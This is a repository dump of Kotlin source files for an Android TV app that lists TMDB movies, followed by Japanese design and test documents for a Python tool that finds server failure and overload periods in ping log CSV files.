* @param postListViewModel PostListViewModel in which to inject the dependencies
*/
fun inject(movieListViewModel: MovieListViewModel)
@Component.Builder
interface Builder {
fun build(): ViewModelInjector
fun serviceGenerator(serviceGenerator: ServiceGenerator) : Builder
}
}<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/adapter/BindingAdapters.kt
package com.example.tvmoviesapplication.movies.adapter
import android.view.View
import android.widget.ImageView
import android.widget.TextView
import androidx.databinding.BindingAdapter
import androidx.fragment.app.FragmentActivity
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.Observer
import androidx.recyclerview.widget.RecyclerView
import com.bumptech.glide.Glide
import com.example.tvmoviesapplication.movies.dagger.getParentActivity
import com.example.tvmoviesapplication.movies.utils.BASE_IMAGE_URL
@BindingAdapter("mutableVisibility")
fun setMutableVisibility(view: View, visibility: MutableLiveData<Int>?) {
val parentActivity: FragmentActivity? = view.getParentActivity()
if(parentActivity != null && visibility != null) {
visibility.observe(parentActivity, Observer { value -> view.visibility = value?:View.VISIBLE})
}
}
@BindingAdapter("mutableText")
fun setMutableText(view: TextView, text: MutableLiveData<String>?) {
val parentActivity: FragmentActivity? = view.getParentActivity()
if (parentActivity != null && text != null) {
text.observe(parentActivity, Observer { value -> view.text = value ?: "" })
}
}
@BindingAdapter("mutableDateYear")
fun setMutableDateYear(view: TextView, text: MutableLiveData<String>?) {
val parentActivity: FragmentActivity? = view.getParentActivity()
if (parentActivity != null && text != null) {
text.observe(parentActivity, Observer { value -> view.text = " | " + value.split("-")[0] ?: "" })
}
}
@BindingAdapter("mutableImage")
fun setMutableImage(view: ImageView, text: MutableLiveData<String>?) {
val parentActivity: FragmentActivity? = view.getParentActivity()
if (parentActivity != null && text != null) {
text.observe(parentActivity, Observer { value ->
Glide.with(view.context).load(BASE_IMAGE_URL + value).override(169,119).into(view)
})
}
}
@BindingAdapter("adapter")
fun setAdapter(view: RecyclerView, adapter: RecyclerView.Adapter<*>) {
view.adapter = adapter
}
<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/utils/Constants.kt
package com.example.tvmoviesapplication.movies.utils
const val BASE_URL: String = "https://api.themoviedb.org/3/movie/"
const val BASE_IMAGE_URL: String = "https://image.tmdb.org/t/p/w185"
const val API_KEY: String = "<KEY>"<file_sep>/app/src/main/java/com/example/tvmoviesapplication/MainActivity.kt
package com.example.tvmoviesapplication
import android.os.Bundle
import android.widget.Toast
import androidx.databinding.DataBindingUtil
import androidx.fragment.app.FragmentActivity
import androidx.lifecycle.Observer
import androidx.lifecycle.ViewModelProviders
import androidx.recyclerview.widget.LinearLayoutManager
import com.example.tvmoviesapplication.databinding.ActivityMainBinding
import com.example.tvmoviesapplication.movies.viewmodel.MovieListViewModel
class MainActivity : FragmentActivity() {
private lateinit var binding: ActivityMainBinding
private lateinit var viewModel: MovieListViewModel
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
binding = DataBindingUtil.setContentView(this, R.layout.activity_main)
binding.popularRecyclerView.layoutManager = LinearLayoutManager(this)
binding.popularRecyclerView.layoutManager =
LinearLayoutManager(this, LinearLayoutManager.HORIZONTAL, false)
binding.topRecyclerView.layoutManager = LinearLayoutManager(this)
binding.topRecyclerView.layoutManager =
LinearLayoutManager(this, LinearLayoutManager.HORIZONTAL, false)
binding.upcomingRecyclerView.layoutManager = LinearLayoutManager(this)
binding.upcomingRecyclerView.layoutManager =
LinearLayoutManager(this, LinearLayoutManager.HORIZONTAL, false)
viewModel = ViewModelProviders.of(this).get(MovieListViewModel::class.java)
binding.viewModel = viewModel
viewModel.error.observe(
this,
Observer { value -> Toast.makeText(this, value, Toast.LENGTH_LONG).show() })
}
}
<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/dagger/ViewExtension.kt
package com.example.tvmoviesapplication.movies.dagger
import android.content.ContextWrapper
import android.view.View
import androidx.appcompat.app.AppCompatActivity
import androidx.fragment.app.FragmentActivity
fun View.getParentActivity(): FragmentActivity?{
var context = this.context
while (context is ContextWrapper) {
if (context is FragmentActivity) {
return context
}
context = context.baseContext
}
return null
}<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/viewmodel/MovieListViewModel.kt
package com.example.tvmoviesapplication.movies.viewmodel
import android.view.View
import androidx.lifecycle.MutableLiveData
import com.example.tvmoviesapplication.movies.adapter.MovieListAdapter
import com.example.tvmoviesapplication.movies.interfaces.CellClickListener
import com.example.tvmoviesapplication.movies.interfaces.MovieApi
import com.example.tvmoviesapplication.movies.model.Movie
import com.example.tvmoviesapplication.movies.model.MovieResponse
import com.example.tvmoviesapplication.movies.utils.API_KEY
import com.example.tvmoviesapplication.movies.utils.MovieType
import io.reactivex.Observable
import io.reactivex.android.schedulers.AndroidSchedulers
import io.reactivex.disposables.Disposable
import io.reactivex.functions.Function3
import io.reactivex.schedulers.Schedulers
import javax.inject.Inject
class MovieListViewModel : BaseViewModel(),
CellClickListener {
@Inject
lateinit var movieApi: MovieApi
private lateinit var subscription: Disposable
val loadingVisibility: MutableLiveData<Int> = MutableLiveData()
val detailsVisibility: MutableLiveData<Int> = MutableLiveData()
lateinit var popularMovieResponse: MovieResponse
lateinit var topRatedMovieResponse: MovieResponse
lateinit var upcomingMovieResponse: MovieResponse
val error = MutableLiveData<String>()
val movieTitle = MutableLiveData<String>()
val movieBody = MutableLiveData<String>()
val movieYear = MutableLiveData<String>()
val popularMovieCount = MutableLiveData<String>()
val topRatedMovieCount = MutableLiveData<String>()
val upcomingMovieCount = MutableLiveData<String>()
val popularMovieCountVisibility = MutableLiveData<Int>()
val topRatedMovieCountVisibility = MutableLiveData<Int>()
val upcomingMovieCountVisibility = MutableLiveData<Int>()
val popularMovieFocused = MutableLiveData<String>()
val topRatedMovieFocused = MutableLiveData<String>()
val upcomingMovieFocused = MutableLiveData<String>()
val popularMovieListAdapter: MovieListAdapter =
MovieListAdapter(this)
val upcomingMovieListAdapter: MovieListAdapter =
MovieListAdapter(this)
val topRatedMovieListAdapter: MovieListAdapter =
MovieListAdapter(this)
init {
popularMovieCountVisibility.value = View.GONE
topRatedMovieCountVisibility.value = View.GONE
upcomingMovieCountVisibility.value = View.GONE
loadMovies()
}
override fun onCellClickListener(data: Movie, type: MovieType, index : Int) {
movieTitle.value = data.title
movieBody.value = data.overview
movieYear.value = data.release_date
val focus = index + 1
when(type) {
MovieType.POPULAR -> {
popularMovieFocused.value = "$focus of "
popularMovieCountVisibility.value = View.VISIBLE
topRatedMovieCountVisibility.value = View.GONE
upcomingMovieCountVisibility.value = View.GONE
}
MovieType.TOPRATED -> {
topRatedMovieFocused.value = "$focus of "
topRatedMovieCountVisibility.value = View.VISIBLE
popularMovieCountVisibility.value = View.GONE
upcomingMovieCountVisibility.value = View.GONE
}
MovieType.UPCOMING -> {
upcomingMovieFocused.value = "$focus of "
upcomingMovieCountVisibility.value = View.VISIBLE
popularMovieCountVisibility.value = View.GONE
topRatedMovieCountVisibility.value = View.GONE
}
}
}
private fun loadMovies() {
val request: ArrayList<Observable<MovieResponse>> = ArrayList()
request.add(movieApi.getPopularMovies(API_KEY,"en-US",1).subscribeOn(Schedulers.io()))
request.add(movieApi.getTopRatedMovies(API_KEY,"en-US",1).subscribeOn(Schedulers.io()))
request.add(movieApi.getUpcomingMovies(API_KEY,"en-US",1).subscribeOn(Schedulers.io()))
subscription = Observable.zip(request[0],request[1],request[2],
Function3<MovieResponse, MovieResponse, MovieResponse, Unit> {
popularMovie, topRatedMovie, upcomingMovie ->
this.popularMovieResponse = popularMovie
this.topRatedMovieResponse = topRatedMovie
this.upcomingMovieResponse = upcomingMovie
})
.observeOn(AndroidSchedulers.mainThread())
.doOnSubscribe { onRetrievePostListStart() }
.doOnTerminate { onRetrievePostListFinish() }
.subscribe(
{ onRetrievePostListSuccess() },
{ error -> onRetrievePostListError(error.message) }
)
}
private fun onRetrievePostListStart() {
loadingVisibility.value = View.VISIBLE
detailsVisibility.value = View.GONE
}
private fun onRetrievePostListFinish() {
loadingVisibility.value = View.GONE
detailsVisibility.value = View.VISIBLE
}
private fun onRetrievePostListSuccess() {
popularMovieListAdapter.updateMovieList(popularMovieResponse, MovieType.POPULAR)
popularMovieCount.value = popularMovieResponse.results.size.toString()
topRatedMovieListAdapter.updateMovieList(topRatedMovieResponse, MovieType.TOPRATED)
topRatedMovieCount.value = topRatedMovieResponse.results.size.toString()
upcomingMovieListAdapter.updateMovieList(upcomingMovieResponse, MovieType.UPCOMING)
upcomingMovieCount.value = upcomingMovieResponse.results.size.toString()
}
private fun onRetrievePostListError(message: String?) {
error.value = message
}
override fun onCleared() {
super.onCleared()
subscription.dispose()
}
}<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/viewmodel/MovieViewModel.kt
package com.example.tvmoviesapplication.movies.viewmodel
import android.opengl.Visibility
import android.view.View
import androidx.lifecycle.MutableLiveData
import com.example.tvmoviesapplication.movies.model.Movie
class MovieViewModel : BaseViewModel() {
private val movieTitle = MutableLiveData<String>()
private val movieProfile = MutableLiveData<String>()
private val titleVisibility = MutableLiveData<Int>()
fun bind(movie: Movie) {
movieTitle.value = movie.title
movieProfile.value = movie.poster_path
titleVisibility.value = View.GONE
}
fun getMovieTitle(): MutableLiveData<String> {
return movieTitle
}
fun getMovieProfile(): MutableLiveData<String> {
return movieProfile
}
fun getTitleVisibility() : MutableLiveData<Int> {
return titleVisibility
}
}<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/utils/MovieType.kt
package com.example.tvmoviesapplication.movies.utils
enum class MovieType {
POPULAR,
TOPRATED,
UPCOMING
}<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/adapter/MovieListAdapter.kt
package com.example.tvmoviesapplication.movies.adapter
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.databinding.DataBindingUtil
import androidx.recyclerview.widget.RecyclerView
import com.example.tvmoviesapplication.R
import com.example.tvmoviesapplication.databinding.MovieItemLayoutBinding
import com.example.tvmoviesapplication.movies.interfaces.CellClickListener
import com.example.tvmoviesapplication.movies.model.Movie
import com.example.tvmoviesapplication.movies.model.MovieResponse
import com.example.tvmoviesapplication.movies.utils.MovieType
import com.example.tvmoviesapplication.movies.utils.MovieType.POPULAR
import com.example.tvmoviesapplication.movies.viewmodel.MovieViewModel
class MovieListAdapter(listener1: CellClickListener) :
RecyclerView.Adapter<MovieListAdapter.ViewHolder>() {
private lateinit var movieList: List<Movie>
private lateinit var movieType: MovieType
private var listener: CellClickListener
init {
this.listener = listener1
}
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
val binding: MovieItemLayoutBinding = DataBindingUtil.inflate(
LayoutInflater.from(parent.context),
R.layout.movie_item_layout,
parent,
false
)
return ViewHolder(binding)
}
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
holder.bind(movieList[position])
holder.itemView.setOnFocusChangeListener { v, hasFocus ->
if (hasFocus) {
listener.onCellClickListener(movieList[position], movieType, position)
holder.viewModel.getTitleVisibility().value = View.VISIBLE
} else holder.viewModel.getTitleVisibility().value = View.GONE
}
if(movieType == POPULAR && position == 0) holder.itemView.requestFocus()
}
override fun getItemCount(): Int {
return if (::movieList.isInitialized) movieList.size else 0
}
fun updateMovieList(movieResponse: MovieResponse, movieType: MovieType) {
this.movieList = movieResponse.results
this.movieType = movieType
notifyDataSetChanged()
}
class ViewHolder(private val binding: MovieItemLayoutBinding) :
RecyclerView.ViewHolder(binding.root) {
val viewModel = MovieViewModel()
fun bind(movie: Movie) {
viewModel.bind(movie)
binding.viewModel = viewModel
}
}
}<file_sep>/settings.gradle
include ':app'
rootProject.name='TvMoviesApplication'
<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/model/Movie.kt
package com.example.tvmoviesapplication.movies.model
import com.google.gson.annotations.SerializedName
class Movie{
var vote_count: Int = 0
var id: Int = 0
var isVideo: Boolean = false
var vote_average: Double = 0.toDouble()
var title: String? = null
var popularity: Double = 0.toDouble()
var poster_path: String? = null
var original_language: String? = null
var original_title: String? = null
var backdrop_path: String? = null
var isAdult: Boolean = false
var overview: String? = null
var release_date: String? = null
var genre_ids: List<Int>? = null
} | 346537263b9948fddd5637b6bbaa25627f198b5a | [
"Kotlin",
"Gradle"
] | 18 | Kotlin | poojalad1424/TvMoviesApplication | 6cfa0d81c02d0b93d03cff934e3fb5732f4abba0 | 52c4de9e2520307805c13abeba76f4299c7326f2 |
refs/heads/master | <file_sep># 設問2
## 要求定義
pingがタイムアウトした場合を故障とみなし最初にタイムアウトしたときから次にpingの応答が返るまでを故障期間とする。
監視ログファイルを読み込み、故障状態のサーバアドレスとそのサーバの故障期間を出力する
ただし, 連続N回未満のタイムアウトでは故障とみなさないようにする.
Nはパラメータとして外部から与えられる.
## 外部設計
- 入力
ログが書き込まれたCSVファイル**と故障とみなす連続タイムアウト回数N** を入力とする.
**ただし, 明示的にNが示されない場合, N=1とする.**
```
<確認日時>, <サーバアドレス>, <応答結果>
<確認日時>, <サーバアドレス>, <応答結果>
<確認日時>, <サーバアドレス>, <応答結果>
:
:
```
ただし, CSVファイルは一行あたりの要素を3つのみとし, それ以外の行は無視する.
- 確認日時
確認日時はYYYYMMDDhhmmssの形式とする.
ただし, YYYY=西暦(4桁の半角数字), MM=月(2桁の半角数字),
DD=日(2桁の半角数字), hh=時(2桁の半角数字), mm=分(2桁の半角数字), ss=秒(2桁の半角数字)とする.
この形式に合わない入力が存在した場合, 動作を停止する.
- サーバアドレス
サーバアドレスはネットワークプレフックス長付きのIPv4アドレスとする.
- 応答結果
応答結果はpingの応答時間をミリ秒単位で記載される.
ただしタイムアウトの場合は"-"のみが記載される.
この形式に合わない入力が存在した場合, 動作を停止する.
- 出力
以下のフォーマットで故障期間を標準出力に表示する.
```
IP 故障はじめ 故障終わり 期間
<サーバアドレス1>
<故障期間の始まり> <故障期間の終わり> <故障期間>
<故障期間の始まり> <故障期間の終わり> <故障期間>
:
<サーバアドレス2>
<故障期間の始まり> <故障期間の終わり> <故障期間>
<故障期間の始まり> <故障期間の終わり> <故障期間>
:
```
ただし, 故障期間の無いサーバアドレスは表示しない.
故障期間の始まり, 終わりはそれぞれ
"YYYY年MM月DD日hh時mm分ss秒" の形式とする.
また 故障期間は"d日h時間m分s秒 間"とする.
ただし, d > 0, h ∈ [1, 23], m ∈ [1, 59], s ∈ [1, 59] の整数とし,
それぞれが0の時はその数値と後続の単位の表示を行わない.
最新の応答結果がタイムアウトの場合は, 故障終わり時間を"継続中"とし,
故障期間を表示しない.
- 環境と実行方法
OS : Ubuntu18.04 LTS, python3.8.5 で動作を確認
`$python3 q2.py <CSVファイル名>`
或いは
`$python3 q2.py <CSVファイル名> --N <N>`
## 内部設計仕様
### データフロー
入力されたデータは次のような流れで処理をする.
1. コマンドライン引数を解析し, 入力ファイル名を決定する.
2. 決定された入力ファイルを読み込み以下の形式で集計する.
ここで, "()"はタプルを, "[]"はリストを意味する.
```
[
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
:
]
```
3. 2で集計されたデータ形式を下記の形式で示された構造に集計し直す.
ここで, "()"はタプルを, "[]"はリスト, "{}"は連想配列を意味する.
```
{
<サーバアドレス1> : [(<確認datetime 1-1>, <ping値>), (<確認datetime 1-2>, <ping値>) ... ],
<サーバアドレス2> : [(<確認datetime 2-1>, <ping値>), (<確認datetime 2-2>, <ping値>) ... ],
.
.
.
}
```
<確認datetime n-m> は `datetime.datetime`クラスのインスタンスとする.
<ping値>はタイムアウト時はNoneそれ以外ではpingの応答時間の整数値とする.
ただし, 任意のn, k < l ∈ 自然数において,
datetime n-k < datetime n-l となるようにソートする.
4. 3で得られた連想配列とパラメータNから故障状態を求め, サーバアドレスをキーとした連想配列にまとめる.
```
{
<サーバアドレス1> : [
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
],
<サーバアドレス2> : [
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
],
}
```
<故障期間の始まり>, <故障期間の終わり>, <故障期間>はそれぞれ, 外部設計仕様に従う.
5. 4で求められた故障状態を表示する.
外部設計仕様に従い表示する
## テスト
### N=1の時
- [x] :`python3 q2.py ../test_file/test1-0.csv --N 1`
詳細については, Q1/document.mdを参照.
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分24秒 2020年10月19日13時33分29秒 2分5秒間
```
- [x] :`python3 q2.py ../test_file/test1-1.csv --N 1`
詳細については, Q1/document.mdを参照.
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分24秒 2020年11月19日13時33分29秒 31日2分5秒間
```
- [x] :`python3 q2.py ../test_file/test1-2.csv --N 1`
詳細については, Q1/document.mdを参照.
```
IP 故障はじめ 故障終わり 期間
10.20.30.2/16
2020年10月19日13時31分25秒 2020年10月19日13時32分25秒 1分間
10.20.30.3/16
2020年10月19日13時32分26秒 2020年10月29日13時33分31秒 10日1分5秒間
10.20.30.4/16
2020年10月19日13時33分32秒 継続中
```
- [x] :`python3 q2.py ../test_file/test1-3.csv --N 1`
詳細については, Q1/document.mdを参照.
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分26秒 2020年10月19日13時33分31秒 2分5秒間
10.20.30.2/16
2020年10月19日13時31分24秒 2020年10月19日13時33分29秒 2分5秒間
10.20.30.3/16
2020年10月19日13時32分25秒 継続中
```
- [x] :`python3 q2.py ../test_file/test1-4.csv --N 1`
詳細については, Q1/document.mdを参照.
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時32分26秒 2020年10月19日13時35分26秒 3分間
10.20.30.2/16
2020年10月19日13時32分24秒 2020年10月19日13時35分24秒 3分間
10.20.30.3/16
2020年10月19日13時33分30秒 継続中
```
- [x] :`python3 q2.py ../test_file/test1-5.csv --N 1`
詳細については, Q1/document.mdを参照.
```
IP 故障はじめ 故障終わり 期間
192.168.1.1/24
2020年10月19日13時31分34秒 2020年10月19日13時31分36秒 2秒間
2020年10月19日13時31分38秒 2020年10月19日13時31分40秒 2秒間
2020年10月19日13時31分42秒 継続中
192.168.1.2/24
2020年10月19日13時31分37秒 2020年10月19日13時31分39秒 2秒間
2020年10月19日13時31分41秒 2020年10月19日13時31分43秒 2秒間
```
### N=2の時
- [x] :`python3 q2.py ../test_file/test1-0.csv --N 2`
- [x] :`python3 q2.py ../test_file/test1-1.csv --N 2`
- [x] :`python3 q2.py ../test_file/test1-2.csv --N 2`
- [x] :`python3 q2.py ../test_file/test1-5.csv --N 2`
入力はそれぞれQ1/document.mdを参照
出力はすべてで
```
IP 故障はじめ 故障終わり 期間
```
- [x] :`python3 q2.py ../test_file/test1-3.csv --N 2`
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分26秒 2020年10月19日13時33分31秒 2分5秒間
10.20.30.2/16
2020年10月19日13時31分24秒 2020年10月19日13時33分29秒 2分5秒間
10.20.30.3/16
2020年10月19日13時32分25秒 継続中
```
- [x] :`python3 q2.py ../test_file/test1-4.csv --N 2`
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時32分26秒 2020年10月19日13時35分26秒 3分間
10.20.30.2/16
2020年10月19日13時32分24秒 2020年10月19日13時35分24秒 3分間
10.20.30.3/16
2020年10月19日13時33分30秒 継続中
```
### N=3の時
- [x] :`python3 q2.py ../test_file/test1-0.csv --N 3`
- [x] :`python3 q2.py ../test_file/test1-1.csv --N 3`
- [x] :`python3 q2.py ../test_file/test1-2.csv --N 3`
- [x] :`python3 q2.py ../test_file/test1-5.csv --N 3`
すべてでN=2と同様の結果となる.
- [x] :`python3 q2.py ../test_file/test1-3.csv --N 3`
出力
```
IP 故障はじめ 故障終わり 期間
```
- [x] :`python3 q2.py ../test_file/test1-4.csv --N 3`
出力
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時32分26秒 2020年10月19日13時35分26秒 3分間
10.20.30.2/16
2020年10月19日13時32分24秒 2020年10月19日13時35分24秒 3分間
10.20.30.3/16
2020年10月19日13時33分30秒 継続中
```
### N=4の時
- [x] :`python3 q2.py ../test_file/test1-0.csv --N 4`
- [x] :`python3 q2.py ../test_file/test1-1.csv --N 4`
- [x] :`python3 q2.py ../test_file/test1-2.csv --N 4`
- [x] :`python3 q2.py ../test_file/test1-3.csv --N 4`
- [x] :`python3 q2.py ../test_file/test1-4.csv --N 4`
- [x] :`python3 q2.py ../test_file/test1-5.csv --N 4`
すべてで出力
```
IP 故障はじめ 故障終わり 期間
```
<file_sep># 設問4
## 要求定義
pingがタイムアウトした場合を故障とみなし最初にタイムアウトしたときから次にpingの応答が返るまでを故障期間とする。
監視ログファイルを読み込み、故障状態のサーバアドレスとそのサーバの故障期間を出力する.
ただし, 連続N回未満のタイムアウトでは故障とみなさないようにする.
さらに, subnet単位でも故障期間検出を行い同様に出力する.
また, m回の平均応答時間がtミリ秒を超える場合はサーバが過負荷状態であるとみなす.
過負荷状態のサーバ期間も出力できるようにする.
ただし, 直近m回の中にタイムアウトが存在する場合, そのタイムアウトは平均の計算から除外しm-1回の平均で判断する
N, m, tはパラメータとして外部から与えられる.
## 外部設計
- 入力
ログが書き込まれたCSVファイル名と
故障とみなす連続タイムアウト回数N ,
及び, 過負荷判断のための平均計算回数mと閾値時間t
を入力とする.
ただし, パラメータが明示的に示されない場合
N=1, m=1, t=4294967295とする.
```
<確認日時>, <サーバアドレス>, <応答結果>
<確認日時>, <サーバアドレス>, <応答結果>
<確認日時>, <サーバアドレス>, <応答結果>
:
:
```
ただし, CSVファイルは一行あたりの要素を3つのみとし, それ以外の行は無視する.
- 確認日時
確認日時はYYYYMMDDhhmmssの形式とする.
ただし, YYYY=西暦(4桁の半角数字), MM=月(2桁の半角数字),
DD=日(2桁の半角数字), hh=時(2桁の半角数字), mm=分(2桁の半角数字), ss=秒(2桁の半角数字)とする.
この形式に合わない入力が存在した場合, 動作を停止する.
- サーバアドレス
サーバアドレスはネットワークプレフックス長付きのIPv4アドレスとする.
- 応答結果
応答結果はpingの応答時間をミリ秒単位で記載される.
ただしタイムアウトの場合は"-"のみが記載される.
この形式に合わない入力が存在した場合, 動作を停止する.
- 出力
以下のフォーマットで故障期間を標準出力に表示する.
```
IP 故障はじめ 故障終わり 期間
<サーバアドレス1>
<故障期間の始まり> <故障期間の終わり> <故障期間>
<故障期間の始まり> <故障期間の終わり> <故障期間>
:
<サーバアドレス2>
<故障期間の始まり> <故障期間の終わり> <故障期間>
<故障期間の始まり> <故障期間の終わり> <故障期間>
:
IP 高負荷はじめ 高負荷終わり 期間
<サーバアドレス1>
<過負荷始まり> <過負荷終わり> <期間>
<過負荷始まり> <過負荷終わり> <期間>
:
<サーバアドレス2>
<過負荷始まり> <過負荷終わり> <期間>
<過負荷始まり> <過負荷終わり> <期間>
:
NetAddress 故障はじめ 故障終わり 期間
<ネットワークアドレス1>
<故障期間の始まり> <故障期間の終わり> <故障期間>
<故障期間の始まり> <故障期間の終わり> <故障期間>
:
<ネットワークアドレス2>
<故障期間の始まり> <故障期間の終わり> <故障期間>
<故障期間の始まり> <故障期間の終わり> <故障期間>
:
```
ただし, 故障期間や過負荷期間の無いサーバアドレスはその直前に表示しない.
故障期間の始まり, 終わりはそれぞれ
"YYYY年MM月DD日hh時mm分ss秒" の形式とする.
また 故障期間は"d日h時間m分s秒 間"とする.
ただし, d > 0, h ∈ [1, 23], m ∈ [1, 59], s ∈ [1, 59] の整数とし,
それぞれが0の時はその数値と後続の単位の表示を行わない.
最新の応答結果がタイムアウトの場合は, <故障終わり>を"継続中"とし,
故障期間を表示しない.
また同様に, 最新のping平均によって過負荷が判定された場合,
<過負荷終わり>を"継続中"とし, 故障期間を表示しない.
- 環境と実行方法
OS : Ubuntu18.04 LTS, python3.8.5 で動作を確認
`$python3 q3.py <CSVファイル名>`
或いは
`$python3 q3.py <CSVファイル名> --N <N> --t <t> --m <m>`
## 内部設計
### データフロー
入力されたデータは次のような流れで処理をする.
1. コマンドライン引数を解析し, 入力ファイル名を決定する.
2. 決定された入力ファイルを読み込み以下の形式で集計する.
ここで, "()"はタプルを, "[]"はリストを意味する.
```
[
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
:
]
```
3. 2で集計されたデータ形式をパラメータmを参照しながら下記の形式で示された構造に集計し直す.
ここで, "()"はタプルを, "[]"はリスト, "{}"は連想配列を意味する.
```
{
<サーバアドレス1> : [(<確認datetime 1-1>, <ping値>, <直近m回ping平均>), (<確認datetime 1-2>, <ping値>, <直近m回ping平均>) ... ],
<サーバアドレス2> : [(<確認datetime 2-1>, <ping値>, <直近m回ping平均>), (<確認datetime 2-2>, <ping値>, <直近m回ping平均>) ... ],
.
.
.
}
```
<確認datetime n-k> は `datetime.datetime`クラスのインスタンスとする.
<ping値>はタイムアウト時はNoneそれ以外ではpingの応答時間の整数値とする.
ただし, 任意のn, k < l ∈ 自然数において,
datetime n-k < datetime n-l となるようにソートする.
4. 3で得られた連想配列とパラメータNから故障状態を求め, サーバアドレスをキーとした連想配列にまとめる.
```
{
<サーバアドレス1> : [
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
],
<サーバアドレス2> : [
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
],
}
```
<故障期間の始まり>, <故障期間の終わり>, <故障期間>はそれぞれ, 外部設計仕様に従う.
5. 4で求められた故障状態を表示する.
外部設計仕様に従い表示する
6. 3で得られた連想配列とパラメータNから過負荷期間を求め, サーバアドレスをキーとした連想配列にまとめる.
```
{
<サーバアドレス1> : [
(<過負荷期間の始まり>, <過負荷期間の終わり>, <過負荷期間>),
(<過負荷期間の始まり>, <過負荷期間の終わり>, <過負荷期間>),
],
<サーバアドレス2> : [
(<過負荷期間の始まり>, <過負荷期間の終わり>, <過負荷期間>),
(<過負荷期間の始まり>, <過負荷期間の終わり>, <過負荷期間>),
],
}
```
<過負荷期間の始まり>, <過負荷期間の終わり>, <過負荷期間>はそれぞれ, 外部設計仕様に従う.
7. 6で求められた過負荷状態を表示する.
外部設計仕様に従い表示する
8. 3で得られた連想配列で同様のネットワークアドレスを持つサーバアドレスを統合し, 新たな連想配列とする
```
{
<ネットワークアドレス1> : [(<確認datetime 1-1>, <ping値>, <直近m回ping平均>), (<確認datetime 1-2>, <ping値>, <直近m回ping平均>) ... ],
<ネットワークアドレス2> : [(<確認datetime 2-1>, <ping値>, <直近m回ping平均>), (<確認datetime 2-2>, <ping値>, <直近m回ping平均>) ... ],
.
.
.
}
```
9. 8で得られた連想配列とパラメータNから故障状態を求め, ネットワークアドレスをキーとした連想配列にまとめる.
```
{
<ネットワークアドレス1> : [
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
],
<ネットワークアドレス2> : [
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
],
}
```
<故障期間の始まり>, <故障期間の終わり>, <故障期間>はそれぞれ, 外部設計仕様に従う.
** ※ キーがサーバアドレスからネットワークアドレスに変わっただけで, 4と同じ処理で実装ができる. **
10. 8で求められた故障期間を表示する.
外部設計仕様に従い表示する
## テスト
### 設問1に対するテスト
ここではサーバ毎の故障期間の表示部分のみを確認し, 過負荷状態やネットワーク毎の故障期間は確認しない.
実行は`python3 q4.py <ファイル名>` とする.
詳細はQ1/document.mdを参照.
同様の結果を確認しているため, ここでは出力を示さない.
- [x] test1-0.csv
- [x] test1-1.csv
- [x] test1-2.csv
- [x] test1-3.csv
- [x] test1-4.csv
- [x] test1-5.csv
### 設問2に対するテスト
ここではサーバ毎の故障期間の表示部分のみを確認し, 過負荷状態やネットワーク毎の故障期間は確認しない.
実行は`python3 q4.py <ファイル名> --N <N>` とする.
詳細はQ2/document.mdを参照.
同様の結果を確認しているため, ここでは出力を示さない.
- [x] N=2の時
- [x] N=3の時
- [x] N=4の時
### 設問3に対するテスト
ここではサーバ毎の過負荷期間の表示部分のみ確認し, ほかは確認しない.
詳細はQ3/document.mdを参照.
同様の結果を確認しているため, ここでは出力を示さない.
- [x] test3-0.csv
- [x] test3-1.csv
- [x] test3-2.csv
### 設問4に対するテスト
ここではネットワークアドレス毎の故障期間の表示部分のみ確認し, ほかは確認しない.
- [x] test4-0.csv
一つのサブネットを持つケース.
N<=2のとき故障期間が検出されるが, N>=3だと検出されない.
- [x] N = 2
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分26秒 継続中
10.20.30.2/16
2020年10月19日13時32分24秒 継続中
IP 過負荷はじめ 過負荷終わり 期間
NetAddress 故障はじめ 故障終わり 期間
10.20.0.0
2020年10月19日13時31分26秒 2020年10月19日13時32分25秒 59秒間
2020年10月19日13時32分26秒 2020年10月19日13時33分30秒 1分4秒間
```
- [x] N = 3
```
IP 故障はじめ 故障終わり 期間
IP 過負荷はじめ 過負荷終わり 期間
NetAddress 故障はじめ 故障終わり 期間
```
- [x] test4-1.csv
一つのサブネットプレフィックスでネットワークアドレスがちがう場合
N = 1で, 20.系と10.系両方で, 故障が検出される.
